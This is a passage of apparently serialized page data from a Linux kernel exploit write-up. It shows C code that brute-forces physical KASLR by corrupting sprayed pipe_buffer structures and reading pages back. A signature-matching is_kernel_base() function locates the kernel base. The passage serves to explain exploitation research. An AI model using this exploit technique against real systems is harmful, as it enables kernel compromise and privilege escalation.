j++)\n {\n memset(&data, 0, PAGE_SIZE);\n int count;\n if (count = read(pfd[j][0], &data, PAGE_SIZE) \u003C 0)\n {\n continue;\n }\n[...]\n\n if (is_kernel_base(data)) // [1] identify kernel base\n {\n found = true;\n break;\n }\n }\n\n[...]\n",[55884],{"type":19,"tag":27,"props":55885,"children":55886},{"__ignoreMap":7},[55887,55894,55902,55910,55934,55967,55987,56027,56034,56078,56112,56139,56175,56182,56228,56235,56265,56278,56343,56350,56362,56370,56377,56384,56410,56417,56437,56449,56456,56463,56470],{"type":19,"tag":168,"props":55888,"children":55889},{"class":170,"line":171},[55890],{"type":19,"tag":168,"props":55891,"children":55892},{"style":212},[55893],{"type":24,"value":7761},{"type":19,"tag":168,"props":55895,"children":55896},{"class":170,"line":198},[55897],{"type":19,"tag":168,"props":55898,"children":55899},{"style":212},[55900],{"type":24,"value":55901},"// Bruteforce phys-KASLR\n",{"type":19,"tag":168,"props":55903,"children":55904},{"class":170,"line":415},[55905],{"type":19,"tag":168,"props":55906,"children":55907},{"style":212},[55908],{"type":24,"value":55909}," uint64_t kernel_base;\n",{"type":19,"tag":168,"props":55911,"children":55912},{"class":170,"line":450},[55913,55917,55922,55926,55930],{"type":19,"tag":168,"props":55914,"children":55915},{"style":382},[55916],{"type":24,"value":43954},{"type":19,"tag":168,"props":55918,"children":55919},{"style":212},[55920],{"type":24,"value":55921}," found ",{"type":19,"tag":168,"props":55923,"children":55924},{"style":399},[55925],{"type":24,"value":486},{"type":19,"tag":168,"props":55927,"children":55928},{"style":382},[55929],{"type":24,"value":6497},{"type":19,"tag":168,"props":55931,"children":55932},{"style":212},[55933],{"type":24,"value":412},{"type":19,"tag":168,"props":55935,"children":55936},{"class":170,"line":560},[55937,55942,55946,55951,55955,55959,55963],{"type":19,"tag":168,"props":55938,"children":55939},{"style":382},[55940],{"type":24,"value":55941}," uint8_t",{"type":19,"tag":168,"props":55943,"children":55944},{"style":393},[55945],{"type":24,"value":12551},{"type":19,"tag":168,"props":55947,"children":55948},{"style":212},[55949],{"type":24,"value":55950},"[PAGE_SIZE] ",{"type":19,"tag":168,"props":55952,"children":55953},{"style":399},[55954],{"type":24,"value":486},{"type":19,"tag":168,"props":55956,"children":55957},{"style":212},[55958],{"type":24,"value":42698},{"type":19,"tag":168,"props":55960,"children":55961},{"style":192},[55962],{"type":24,"value":1452},{"type":19,"tag":168,"props":55964,"children":55965},{"style":212},[55966],{"type":24,"value":14026},{"type":19,"tag":168,"props":55968,"children":55969},{"class":170,"line":666},[55970,55974,55978,55983],{"type":19,"tag":168,"props":55971,"children":55972},{"style":175},[55973],{"type":24,"value":52990},{"type":19,"tag":168,"props":55975,"children":55976},{"style":212},[55977],{"type":24,"value":500},{"type":19,"tag":168,"props":55979,"children":55980},{"style":181},[55981],{"type":24,"value":55982},"\"[*] bruteforce phys-KASLR\"",{"type":19,"tag":168,"props":55984,"children":55985},{"style":212},[55986],{"type":24,"value":1249},{"type":19,"tag":168,"props":55988,"children":55989},{"class":170,"line":694},[55990,55994,55998,56002,56006,56010,56014,56019,56023],{"type":19,"tag":168,"props":55991,"children":55992},{"style":419},[55993],{"type":24,"value":422},{"type":19,"tag":168,"props":55995,"children":55996},{"style":212},[55997],{"type":24,"value":461},{"type":19,"tag":168,"props":55999,"children":56000},{"style":382},[56001],{"type":24,"value":53118},{"type":19,"tag":168,"props":56003,"children":56004},{"style":212},[56005],{"type":24,"value":52027},{"type":19,"tag":168,"props":56007,"children":56008},{"style":399},[56009],{"type":24,"value":486},{"type":19,"tag":168,"props":56011,"children":56012},{"style":192},[56013],{"type":24,"value":437},{"type":19,"tag":168,"props":56015,"children":56016},{"style":212},[56017],{"type":24,"value":56018},";; i",{"type":19,"tag":168,"props":56020,"children":56021},{"style":399},[56022],{"type":24,"value":48752},{"type":19,"tag":168,"props":56024,"children":56025},{"style":212},[56026],{"type":24,"value":557},{"type":19,"tag":168,"props":56028,"children":56029},{"class":170,"line":707},[56030],{"type":19,"tag":168,"props":56031,"children":56032},{"style":212},[56033],{"type":24,"value":26657},{"type":19,"tag":168,"props":56035,"children":56036},{"class":170,"line":725},[56037,56042,56046,56051,56055,56060,56064,56069,56073],{"type":19,"tag":168,"props":56038,"children":56039},{"style":212},[56040],{"type":24,"value":56041}," kernel_base ",{"type":19,"tag":168,"props":56043,"children":56044},{"style":399},[56045],{"type":24,"value":486},{"type":19,"tag":168,"props":56047,"children":56048},{"style":192},[56049],{"type":24,"value":56050}," 0x40",{"type":19,"tag":168,"props":56052,"children":56053},{"style":399},[56054],{"type":24,"value":7259},{"type":19,"tag":168,"props":56056,"children":56057},{"style":212},[56058],{"type":24,"value":56059}," ((PHYSICAL_ALIGN ",{"type":19,"tag":168,"props":56061,"children":56062},{"style":399},[56063],{"type":24,"value":2002},{"type":19,"tag":168,"props":56065,"children":56066},{"style":212},[56067],{"type":24,"value":56068}," i) ",{"type":19,"tag":168,"props":56070,"children":56071},{"style":399},[56072],{"type":24,"value":10206},{"type":19,"tag":168,"props":56074,"children":56075},{"style":212},[56076],{"type":24,"value":56077}," PAGE_SHIFT);\n",{"type":19,"tag":168,"props":56079,"children":56080},{"class":170,"line":746},[56081,56086,56090,56094,56098,56103,56107],{"type":19,"tag":168,"props":56082,"children":56083},{"style":393},[56084],{"type":24,"value":56085}," pipebuf",{"type":19,"tag":168,"props":56087,"children":56088},{"style":212},[56089],{"type":24,"value":11203},{"type":19,"tag":168,"props":56091,"children":56092},{"style":393},[56093],{"type":24,"value":55808},{"type":19,"tag":168,"props":56095,"children":56096},{"style":399},[56097],{"type":24,"value":402},{"type":19,"tag":168,"props":56099,"children":56100},{"style":212},[56101],{"type":24,"value":56102}," vmemmap_base ",{"type":19,"tag":168,"props":56104,"children":56105},{"style":399},[56106],{"type":24,"value":1811},{"type":19,"tag":168,"props":56108,"children":56109},{"style":212},[56110],{"type":24,"value":56111}," kernel_base;\n",{"type":19,"tag":168,"props":56113,"children":56114},{"class":170,"line":755},[56115,56119,56123,56127,56131,56135],{"type":19,"tag":168,"props":56116,"children":56117},{"style":393},[56118],{"type":24,"value":56085},{"type":19,"tag":168,"props":56120,"children":56121},{"style":212},[56122],{"type":24,"value":11203},{"type":19,"tag":168,"props":56124,"children":56125},{"style":393},[56126],{"type":24,"value":11347},{"type":19,"tag":168,"props":56128,"children":56129},{"style":399},[56130],{"type":24,"value":402},{"type":19,"tag":168,"props":56132,"children":56133},{"style":192},[56134],{"type":24,"value":437},{"type":19,"tag":168,"props":56136,"children":56137},{"style":212},[56138],{"type":24,"value":412},{"type":19,"tag":168,"props":56140,"children":56141},{"class":170,"line":1008},[56142,56146,56150,56154,56158,56163,56167,56171],{"type":19,"tag":168,"props":56143,"children":56144},{"style":393},[56145],{"type":24,"value":56085},{"type":19,"tag":168,"props":56147,"children":56148},{"style":212},[56149],{"type":24,"value":11203},{"type":19,"tag":168,"props":56151,"children":56152},{"style":393},[56153],{"type":24,"value":6579},{"type":19,"tag":168,"props":56155,"children":56156},{"style":399},[56157],{"type":24,"value":402},{"type":19,"tag":168,"props":56159,"children":56160},{"style":212},[56161],{"type":24,"value":56162}," PAGE_SIZE ",{"type":19,"tag":168,"props":56164,"children":56165},{"style":399},[56166],{"type":24,"value":1811},{"type":19,"tag":168,"props":56168,"children":56169},{"style":192},[56170],{"type":24,"value":1954},{"type":19,"tag":168,"props":56172,"children":56173},{"style":212},[56174],{"type":24,"value":412},{"type":19,"tag":168,"props":56176,"children":56177},{"class":170,"line":1025},[56178],{"type":19,"tag":168,"props":56179,"children":56180},{"style":212},[56181],{"type":24,"value":7761},{"type":19,"tag":168,"props":56183,"children":56184},{"class":170,"line":1042},[56185,56190,56194,56198,56202,56206,56211,56215,56220,56224],{"type":19,"tag":168,"props":56186,"children":56187},{"style":212},[56188],{"type":24,"value":56189}," for (",{"type":19,"tag":168,"props":56191,"children":56192},{"style":382},[56193],{"type":24,"value":16500},{"type":19,"tag":168,"props":56195,"children":56196},{"style":393},[56197],{"type":24,"value":6061},{"type":19,"tag":168,"props":56199,"children":56200},{"style":399},[56201],{"type":24,"value":402},{"type":19,"tag":168,"props":56203,"children":56204},{"style":192},[56205],{"type":24,"value":437},{"type":19,"tag":168,"props":56207,"children":56208},{"style":212},[56209],{"type":24,"value":56210},"; j ",{"type":19,"tag":168,"props":56212,"children":56213},{"style":399},[56214],{"type":24,"value":3240},{"type":19,"tag":168,"props":56216,"children":56217},{"style":212},[56218],{"type":24,"value":56219}," PIPE_SPRAY; j",{"type":19,"tag":168,"props":56221,"children":56222},{"style":399},[56223],{"type":24,"value":48752},{"type":19,"tag":168,"props":56225,"children":56226},{"style":212},[56227],{"type":24,"value":557},{"type":19,"tag":168,"props":56229,"children":56230},{"class":170,"line":1055},[56231],{"type":19,"tag":168,"props":56232,"children":56233},{"style":212},[56234],{"type":24,"value":29131},{"type":19,"tag":168,"props":56236,"children":56237},{"class":170,"line":1064},[56238,56243,56247,56251,56256,56260],{"type":19,"tag":168,"props":56239,"children":56240},{"style":175},[56241],{"type":24,"value":56242}," memset",{"type":19,"tag":168,"props":56244,"children":56245},{"style":212},[56246],{"type":24,"value":500},{"type":19,"tag":168,"props":56248,"children":56249},{"style":399},[56250],{"type":24,"value":505},{"type":19,"tag":168,"props":56252,"children":56253},{"style":212},[56254],{"type":24,"value":56255},"data, ",{"type":19,"tag":168,"props":56257,"children":56258},{"style":192},[56259],{"type":24,"value":1452},{"type":19,"tag":168,"props":56261,"children":56262},{"style":212},[56263],{"type":24,"value":56264},", PAGE_SIZE);\n",{"type":19,"tag":168,"props":56266,"children":56267},{"class":170,"line":1087},[56268,56273],{"type":19,"tag":168,"props":56269,"children":56270},{"style":382},[56271],{"type":24,"value":56272}," int",{"type":19,"tag":168,"props":56274,"children":56275},{"style":212},[56276],{"type":24,"value":56277}," count;\n",{"type":19,"tag":168,"props":56279,"children":56280},{"class":170,"line":1096},[56281,56286,56291,56295,56300,56304,56309,56314,56318,56322,56326,56331,56335,56339],{"type":19,"tag":168,"props":56282,"children":56283},{"style":419},[56284],{"type":24,"value":56285}," if",{"type":19,"tag":168,"props":56287,"children":56288},{"style":212},[56289],{"type":24,"value":56290}," (count ",{"type":19,"tag":168,"props":56292,"children":56293},{"style":399},[56294],{"type":24,"value":486},{"type":19,"tag":168,"props":56296,"children":56297},{"style":175},[56298],{"type":24,"value":56299}," read",{"type":19,"tag":168,"props":56301,"children":56302},{"style":212},[56303],{"type":24,"value":500},{"type":19,"tag":168,"props":56305,"children":56306},{"style":393},[56307],{"type":24,"value":56308},"pfd",{"type":19,"tag":168,"props":56310,"children":56311},{"style":212},[56312],{"type":24,"value":56313},"[j][",{"type":19,"tag":168,"props":56315,"children":56316},{"style":192},[56317],{"type":24,"value":1452},{"type":19,"tag":168,"props":56319,"children":56320},{"style":212},[56321],{"type":24,"value":20516},{"type":19,"tag":168,"props":56323,"children":56324},{"style":399},[56325],{"type":24,"value":505},{"type":19,"tag":168,"props":56327,"children":56328},{"style":212},[56329],{"type":24,"value":56330},"data, PAGE_SIZE) ",{"type":19,"tag":168,"props":56332,"children":56333},{"style":399},[56334],{"type":24,"value":3240},{"type":19,"tag":168,"props":56336,"children":56337},{"style":192},[56338],{"type":24,"value":437},{"type":19,"tag":168,"props":56340,"children":56341},{"style":212},[56342],{"type":24,"value":557},{"type":19,"tag":168,"props":56344,"children":56345},{"class":170,"line":1105},[56346],{"type":19,"tag":168,"props":56347,"children":56348},{"style":212},[56349],{"type":24,"value":29167},{"type":19,"tag":168,"props":56351,"children":56352},{"class":170,"line":1174},[56353,56358],{"type":19,"tag":168,"props":56354,"children":56355},{"style":419},[56356],{"type":24,"value":56357}," continue",{"type":19,"tag":168,"props":56359,"children":56360},{"style":212},[56361],{"type":24,"value":412},{"type":19,"tag":168,"props":56363,"children":56364},{"class":170,"line":1182},[56365],{"type":19,"tag":168,"props":56366,"children":56367},{"style":212},[56368],{"type":24,"value":56369}," }\n",{"type":19,"tag":168,"props":56371,"children":56372},{"class":170,"line":1212},[56373],{"type":19,"tag":168,"props":56374,"children":56375},{"style":212},[56376],{"type":24,"value":7761},{"type":19,"tag":168,"props":56378,"children":56379},{"class":170,"line":1220},[56380],{"type":19,"tag":168,"props":56381,"children":56382},{"emptyLinePlaceholder":14},[56383],{"type":24,"value":1093},{"type":19,"tag":168,"props":56385,"children":56386},{"class":170,"line":1252},[56387,56392,56397,56401,56405],{"type":19,"tag":168,"props":56388,"children":56389},{"style":212},[56390],{"type":24,"value":56391}," if (",{"type":19,"tag":168,"props":56393,"children":56394},{"style":825},[56395],{"type":24,"value":56396},"is_kernel_base",{"type":19,"tag":168,"props":56398,"children":56399},{"style":212},[56400],{"type":24,"value":500},{"type":19,"tag":168,"props":56402,"children":56403},{"style":825},[56404],{"type":24,"value":1120},{"type":19,"tag":168,"props":56406,"children":56407},{"style":212},[56408],{"type":24,"value":56409},")) // [1] identify kernel base\n",{"type":19,"tag":168,"props":56411,"children":56412},{"class":170,"line":1260},[56413],{"type":19,"tag":168,"props":56414,"children":56415},{"style":212},[56416],{"type":24,"value":29167},{"type":19,"tag":168,"props":56418,"children":56419},{"class":170,"line":1320},[56420,56425,56429,56433],{"type":19,"tag":168,"props":56421,"children":56422},{"style":212},[56423],{"type":24,"value":56424}," found ",{"type":19,"tag":168,"props":56426,"children":56427},{"style":399},[56428],{"type":24,"value":486},{"type":19,"tag":168,"props":56430,"children":56431},{"style":382},[56432],{"type":24,"value":9914},{"type":19,"tag":168,"props":56434,"children":56435},{"style":212},[56436],{"type":24,"value":412},{"type":19,"tag":168,"props":56438,"children":56439},{"class":170,"line":6486},[56440,56445],{"type":19,"tag":168,"props":56441,"children":56442},{"style":419},[56443],{"type":24,"value":56444}," break",{"type":19,"tag":168,"props":56446,"children":56447},{"style":212},[56448],{"type":24,"value":412},{"type":19,"tag":168,"props":56450,"children":56451},{"class":170,"line":6504},[56452],{"type":19,"tag":168,"props":56453,"children":56454},{"style":212},[56455],{"type":24,"value":56369},{"type":19,"tag":168,"props":56457,"children":56458},{"class":170,"line":6549},[56459],{"type":19,"tag":168,"props":56460,"children":56461},{"style":212},[56462],{"type":24,"value":752},{"type":19,"tag":168,"props":56464,"children":56465},{"class":170,"line":6655},[56466],{"type":19,"tag":168,"props":56467,"children":56468},{"emptyLinePlaceholder":14},[56469],{"type":24,"value":1093},{"type":19,"tag":168,"props":56471,"children":56472},{"class":170,"line":20965},[56473],{"type":19,"tag":168,"props":56474,"children":56475},{"style":212},[56476],{"type":24,"value":7761},{"type":19,"tag":20,"props":56478,"children":56479},{},[56480,56482,56486,56488,56494,56496,56500],{"type":24,"value":56481},"Notice that at ",{"type":19,"tag":168,"props":56483,"children":56484},{},[56485],{"type":24,"value":1442},{"type":24,"value":56487}," we call the ",{"type":19,"tag":27,"props":56489,"children":56491},{"className":56490},[],[56492],{"type":24,"value":56493},"is_kernel_base()",{"type":24,"value":56495}," function. This is a function based on lau's exploit ",{"type":19,"tag":168,"props":56497,"children":56498},{},[56499],{"type":24,"value":15559},{"type":24,"value":56501}," that basically matches for multiple byte patterns that may exist at the kernel base page across different builds, to maximize compatibility.",{"type":19,"tag":158,"props":56503,"children":56505},{"className":26580,"code":56504,"language":26582,"meta":7,"style":7},"[...]\nstatic bool is_kernel_base(unsigned char *addr)\n{\n // thanks lau :)\n\n // get-sig kernel_runtime_1\n if (memcmp(addr + 0x0, \"\\x48\\x8d\\x25\\x51\\x3f\", 5) == 0 &&\n memcmp(addr + 0x7, \"\\x48\\x8d\\x3d\\xf2\\xff\\xff\\xff\", 7) == 0)\n return true;\n\n // get-sig kernel_runtime_2\n if (memcmp(addr + 0x0, \"\\xfc\\x0f\\x01\\x15\", 4) == 0 &&\n memcmp(addr + 0x8, \"\\xb8\\x10\\x00\\x00\\x00\\x8e\\xd8\\x8e\\xc0\\x8e\\xd0\\xbf\", 12) == 0 &&\n memcmp(addr + 0x18, \"\\x89\\xde\\x8b\\x0d\", 4) == 0 &&\n memcmp(addr + 0x20, \"\\xc1\\xe9\\x02\\xf3\\xa5\\xbc\", 6) == 0 &&\n memcmp(addr + 0x2a, \"\\x0f\\x20\\xe0\\x83\\xc8\\x20\\x0f\\x22\\xe0\\xb9\\x80\\x00\\x00\\xc0\\x0f\\x32\\x0f\\xba\\xe8\\x08\\x0f\\x30\\xb8\\x00\", 24) == 0 &&\n memcmp(addr + 0x45, \"\\x0f\\x22\\xd8\\xb8\\x01\\x00\\x00\\x80\\x0f\\x22\\xc0\\xea\\x57\\x00\\x00\", 15) == 0 &&\n memcmp(addr + 0x55, \"\\x08\\x00\\xb9\\x01\\x01\\x00\\xc0\\xb8\", 8) == 0 &&\n memcmp(addr + 0x61, \"\\x31\\xd2\\x0f\\x30\\xe8\", 5) == 0 &&\n memcmp(addr + 0x6a, \"\\x48\\xc7\\xc6\", 3) == 0 &&\n memcmp(addr + 0x71, \"\\x48\\xc7\\xc0\\x80\\x00\\x00\", 6) == 0 &&\n memcmp(addr + 0x78, \"\\xff\\xe0\", 2) == 0)\n return true;\n\n return false;\n}\n[...]\n",[56506],{"type":19,"tag":27,"props":56507,"children":56508},{"__ignoreMap":7},[56509,56516,56546,56553,56561,56568,56576,56647,56709,56724,56731,56739,56807,56869,56930,56991,57053,57115,57176,57237,57298,57359,57420,57435,57442,57457,57464],{"type":19,"tag":168,"props":56510,"children":56511},{"class":170,"line":171},[56512],{"type":19,"tag":168,"props":56513,"children":56514},{"style":212},[56515],{"type":24,"value":7761},{"type":19,"tag":168,"props":56517,"children":56518},{"class":170,"line":198},[56519,56524,56529,56534,56538,56542],{"type":19,"tag":168,"props":56520,"children":56521},{"style":212},[56522],{"type":24,"value":56523},"static bool is_kernel_base(",{"type":19,"tag":168,"props":56525,"children":56526},{"style":382},[56527],{"type":24,"value":56528},"unsigned",{"type":19,"tag":168,"props":56530,"children":56531},{"style":382},[56532],{"type":24,"value":56533}," char",{"type":19,"tag":168,"props":56535,"children":56536},{"style":382},[56537],{"type":24,"value":7259},{"type":19,"tag":168,"props":56539,"children":56540},{"style":393},[56541],{"type":24,"value":28158},{"type":19,"tag":168,"props":56543,"children":56544},{"style":212},[56545],{"type":24,"value":557},{"type":19,"tag":168,"props":56547,"children":56548},{"class":170,"line":415},[56549],{"type":19,"tag":168,"props":56550,"children":56551},{"style":212},[56552],{"type":24,"value":8324},{"type":19,"tag":168,"props":56554,"children":56555},{"class":170,"line":450},[56556],{"type":19,"tag":168,"props":56557,"children":56558},{"style":373},[56559],{"type":24,"value":56560}," // thanks lau :)\n",{"type":19,"tag":168,"props":56562,"children":56563},{"class":170,"line":560},[56564],{"type":19,"tag":168,"props":56565,"children":56566},{"emptyLinePlaceholder":14},[56567],{"type":24,"value":1093},{"type":19,"tag":168,"props":56569,"children":56570},{"class":170,"line":666},[56571],{"type":19,"tag":168,"props":56572,"children":56573},{"style":373},[56574],{"type":24,"value":56575}," // get-sig kernel_runtime_1\n",{"type":19,"tag":168,"props":56577,"children":56578},{"class":170,"line":694},[56579,56583,56587,56592,56597,56601,56606,56610,56614,56619,56623,56627,56631,56635,56639,56643],{"type":19,"tag":168,"props":56580,"children":56581},{"style":419},[56582],{"type":24,"value":9724},{"type":19,"tag":168,"props":56584,"children":56585},{"style":212},[56586],{"type":24,"value":461},{"type":19,"tag":168,"props":56588,"children":56589},{"style":175},[56590],{"type":24,"value":56591},"memcmp",{"type":19,"tag":168,"props":56593,"children":56594},{"style":212},[56595],{"type":24,"value":56596},"(addr ",{"type":19,"tag":168,"props":56598,"children":56599},{"style":399},[56600],{"type":24,"value":1811},{"type":19,"tag":168,"props":56602,"children":56603},{"style":192},[56604],{"type":24,"value":56605}," 0x0",{"type":19,"tag":168,"props":56607,"children":56608},{"style":212},[56609],{"type":24,"value":471},{"type":19,"tag":168,"props":56611,"children":56612},{"style":181},[56613],{"type":24,"value":17514},{"type":19,"tag":168,"props":56615,"children":56616},{"style":45855},[56617],{"type":24,"value":56618},"\\x48\\x8d\\x25\\x51\\x3f",{"type":19,"tag":168,"props":56620,"children":56621},{"style":181},[56622],{"type":24,"value":17514},{"type":19,"tag":168,"props":56624,"children":56625},{"style":212},[56626],{"type":24,"value":471},{"type":19,"tag":168,"props":56628,"children":56629},{"style":192},[56630],{"type":24,"value":15559},{"type":19,"tag":168,"props":56632,"children":56633},{"style":212},[56634],{"type":24,"value":481},{"type":19,"tag":168,"props":56636,"children":56637},{"style":399},[56638],{"type":24,"value":6013},{"type":19,"tag":168,"props":56640,"children":56641},{"style":192},[56642],{"type":24,"value":437},{"type":19,"tag":168,"props":56644,"children":56645},{"style":399},[56646],{"type":24,"value":50167},{"type":19,"tag":168,"props":56648,"children":56649},{"class":170,"line":707},[56650,56655,56659,56663,56668,56672,56676,56681,56685,56689,56693,56697,56701,56705],{"type":19,"tag":168,"props":56651,"children":56652},{"style":175},[56653],{"type":24,"value":56654}," memcmp",{"type":19,"tag":168,"props":56656,"children":56657},{"style":212},[56658],{"type":24,"value":56596},{"type":19,"tag":168,"props":56660,"children":56661},{"style":399},[56662],{"type":24,"value":1811},{"type":19,"tag":168,"props":56664,"children":56665},{"style":192},[56666],{"type":24,"value":56667}," 0x7",{"type":19,"tag":168,"props":56669,"children":56670},{"style":212},[56671],{"type":24,"value":471},{"type":19,"tag":168,"props":56673,"children":56674},{"style":181},[56675],{"type":24,"value":17514},{"type":19,"tag":168,"props":56677,"children":56678},{"style":45855},[56679],{"type":24,"value":56680},"\\x48\\x8d\\x3d\\xf2\\xff\\xff\\xff",{"type":19,"tag":168,"props":56682,"children":56683},{"style":181},[56684],{"type":24,"value":17514},{"type":19,"tag":168,"props":56686,"children":56687},{"style":212},[56688],{"type":24,"value":471},{"type":19,"tag":168,"props":56690,"children":56691},{"style":192},[56692],{"type":24,"value":52154},{"type":19,"tag":168,"props":56694,"children":56695},{"style":212},[56696],{"type":24,"value":481},{"type":19,"tag":168,"props":56698,"children":56699},{"style":399},[56700],{"type":24,"value":6013},{"type":19,"tag":168,"props":56702,"children":56703},{"style":192},[56704],{"type":24,"value":437},{"type":19,"tag":168,"props":56706,"children":56707},{"style":212},[56708],{"type":24,"value":557},{"type":19,"tag":168,"props":56710,"children":56711},{"class":170,"line":725},[56712,56716,56720],{"type":19,"tag":168,"props":56713,"children":56714},{"style":419},[56715],{"type":24,"value":13192},{"type":19,"tag":168,"props":56717,"children":56718},{"style":382},[56719],{"type":24,"value":9914},{"type":19,"tag":168,"props":56721,"children":56722},{"style":212},[56723],{"type":24,"value":412},{"type":19,"tag":168,"props":56725,"children":56726},{"class":170,"line":746},[56727],{"type":19,"tag":168,"props":56728,"children":56729},{"emptyLinePlaceholder":14},[56730],{"type":24,"value":1093},{"type":19,"tag":168,"props":56732,"children":56733},{"class":170,"line":755},[56734],{"type":19,"tag":168,"props":56735,"children":56736},{"style":373},[56737],{"type":24,"value":56738}," // get-sig kernel_runtime_2\n",{"type":19,"tag":168,"props":56740,"children":56741},{"class":170,"line":1008},[56742,56746,56750,56754,56758,56762,56766,56770,56774,56779,56783,56787,56791,56795,56799,56803],{"type":19,"tag":168,"props":56743,"children":56744},{"style":419},[56745],{"type":24,"value":9724},{"type":19,"tag":168,"props":56747,"children":56748},{"style":212},[56749],{"type":24,"value":461},{"type":19,"tag":168,"props":56751,"children":56752},{"style":175},[56753],{"type":24,"value":56591},{"type":19,"tag":168,"props":56755,"children":56756},{"style":212},[56757],{"type":24,"value":56596},{"type":19,"tag":168,"props":56759,"children":56760},{"style":399},[56761],{"type":24,"value":1811},{"type":19,"tag":168,"props":56763,"children":56764},{"style":192},[56765],{"type":24,"value":56605},{"type":19,"tag":168,"props":56767,"children":56768},{"style":212},[56769],{"type":24,"value":471},{"type":19,"tag":168,"props":56771,"children":56772},{"style":181},[56773],{"type":24,"value":17514},{"type":19,"tag":168,"props":56775,"children":56776},{"style":45855},[56777],{"type":24,"value":56778},"\\xfc\\x0f\\x01\\x15",{"type":19,"tag":168,"props":56780,"children":56781},{"style":181},[56782],{"type":24,"value":17514},{"type":19,"tag":168,"props":56784,"children":56785},{"style":212},[56786],{"type":24,"value":471},{"type":19,"tag":168,"props":56788,"children":56789},{"style":192},[56790],{"type":24,"value":14978},{"type":19,"tag":168,"props":56792,"children":56793},{"style":212},[56794],{"type":24,"value":481},{"type":19,"tag":168,"props":56796,"children":56797},{"style":399},[56798],{"type":24,"value":6013},{"type":19,"tag":168,"props":56800,"children":56801},{"style":192},[56802],{"type":24,"value":437},{"type":19,"tag":168,"props":56804,"children":56805},{"style":399},[56806],{"type":24,"value":50167},{"type":19,"tag":168,"props":56808,"children":56809},{"class":170,"line":1025},[56810,56814,56818,56822,56827,56831,56835,56840,56844,56848,56853,56857,56861,56865],{"type":19,"tag":168,"props":56811,"children":56812},{"style":175},[56813],{"type":24,"value":56654},{"type":19,"tag":168,"props":56815,"children":56816},{"style":212},[56817],{"type":24,"value":56596},{"type":19,"tag":168,"props":56819,"children":56820},{"style":399},[56821],{"type":24,"value":1811},{"type":19,"tag":168,"props":56823,"children":56824},{"style":192},[56825],{"type":24,"value":56826}," 0x8",{"type":19,"tag":168,"props":56828,"children":56829},{"style":212},[56830],{"type":24,"value":471},{"type":19,"tag":168,"props":56832,"children":56833},{"style":181},[56834],{"type":24,"value":17514},{"type":19,"tag":168,"props":56836,"children":56837},{"style":45855},[56838],{"type":24,"value":56839},"\\xb8\\x10\\x00\\x00\\x00\\x8e\\xd8\\x8e\\xc0\\x8e\\xd0\\xbf",{"type":19,"tag":168,"props":56841,"children":56842},{"style":181},[56843],{"type":24,"value":17514},{"type":19,"tag":168,"props":56845,"children":56846},{"style":212},[56847],{"type":24,"value":471},{"type":19,"tag":168,"props":56849,"children":56850},{"style":192},[56851],{"type":24,"value":56852},"12",{"type":19,"tag":168,"props":56854,"children":56855},{"style":212},[56856],{"type":24,"value":481},{"type":19,"tag":168,"props":56858,"children":56859},{"style":399},[56860],{"type":24,"value":6013},{"type":19,"tag":168,"props":56862,"children":56863},{"style":192},[56864],{"type":24,"value":437},{"type":19,"tag":168,"props":56866,"children":56867},{"style":399},[56868],{"type":24,"value":50167},{"type":19,"tag":168,"props":56870,"children":56871},{"class":170,"line":1042},[56872,56876,56880,56884,56889,56893,56897,56902,56906,56910,56914,56918,56922,56926],{"type":19,"tag":168,"props":56873,"children":56874},{"style":175},[56875],{"type":24,"value":56654},{"type":19,"tag":168,"props":56877,"children":56878},{"style":212},[56879],{"type":24,"value":56596},{"type":19,"tag":168,"props":56881,"children":56882},{"style":399},[56883],{"type":24,"value":1811},{"type":19,"tag":168,"props":56885,"children":56886},{"style":192},[56887],{"type":24,"value":56888}," 0x18",{"type":19,"tag":168,"props":56890,"children":56891},{"style":212},[56892],{"type":24,"value":471},{"type":19,"tag":168,"props":56894,"children":56895},{"style":181},[56896],{"type":24,"value":17514},{"type":19,"tag":168,"props":56898,"children":56899},{"style":45855},[56900],{"type":24,"value":56901},"\\x89\\xde\\x8b\\x0d",{"type":19,"tag":168,"props":56903,"children":56904},{"style":181},[56905],{"type":24,"value":17514},{"type":19,"tag":168,"props":56907,"children":56908},{"style":212},[56909],{"type":24,"value":471},{"type":19,"tag":168,"props":56911,"children":56912},{"style":192},[56913],{"type":24,"value":14978},{"type":19,"tag":168,"props":56915,"children":56916},{"style":212},[56917],{"type":24,"value":481},{"type":19,"tag":168,"props":56919,"children":56920},{"style":399},[56921],{"type":24,"value":6013},{"type":19,"tag":168,"props":56923,"children":56924},{"style":192},[56925],{"type":24,"value":437},{"type":19,"tag":168,"props":56927,"children":56928},{"style":399},[56929],{"type":24,"value":50167},{"type":19,"tag":168,"props":56931,"children":56932},{"class":170,"line":1055},[56933,56937,56941,56945,56950,56954,56958,56963,56967,56971,56975,56979,56983,56987],{"type":19,"tag":168,"props":56934,"children":56935},{"style":175},[56936],{"type":24,"value":56654},{"type":19,"tag":168,"props":56938,"children":56939},{"style":212},[56940],{"type":24,"value":56596},{"type":19,"tag":168,"props":56942,"children":56943},{"style":399},[56944],{"type":24,"value":1811},{"type":19,"tag":168,"props":56946,"children":56947},{"style":192},[56948],{"type":24,"value":56949}," 0x20",{"type":19,"tag":168,"props":56951,"children":56952},{"style":212},[56953],{"type":24,"value":471},{"type":19,"tag":168,"props":56955,"children":56956},{"style":181},[56957],{"type":24,"value":17514},{"type":19,"tag":168,"props":56959,"children":56960},{"style":45855},[56961],{"type":24,"value":56962},"\\xc1\\xe9\\x02\\xf3\\xa5\\xbc",{"type":19,"tag":168,"props":56964,"children":56965},{"style":181},[56966],{"type":24,"value":17514},{"type":19,"tag":168,"props":56968,"children":56969},{"style":212},[56970],{"type":24,"value":471},{"type":19,"tag":168,"props":56972,"children":56973},{"style":192},[56974],{"type":24,"value":15871},{"type":19,"tag":168,"props":56976,"children":56977},{"style":212},[56978],{"type":24,"value":481},{"type":19,"tag":168,"props":56980,"children":56981},{"style":399},[56982],{"type":24,"value":6013},{"type":19,"tag":168,"props":56984,"children":56985},{"style":192},[56986],{"type":24,"value":437},{"type":19,"tag":168,"props":56988,"children":56989},{"style":399},[56990],{"type":24,"value":50167},{"type":19,"tag":168,"props":56992,"children":56993},{"class":170,"line":1064},[56994,56998,57002,57006,57011,57015,57019,57024,57028,57032,57037,57041,57045,57049],{"type":19,"tag":168,"props":56995,"children":56996},{"style":175},[56997],{"type":24,"value":56654},{"type":19,"tag":168,"props":56999,"children":57000},{"style":212},[57001],{"type":24,"value":56596},{"type":19,"tag":168,"props":57003,"children":57004},{"style":399},[57005],{"type":24,"value":1811},{"type":19,"tag":168,"props":57007,"children":57008},{"style":192},[57009],{"type":24,"value":57010}," 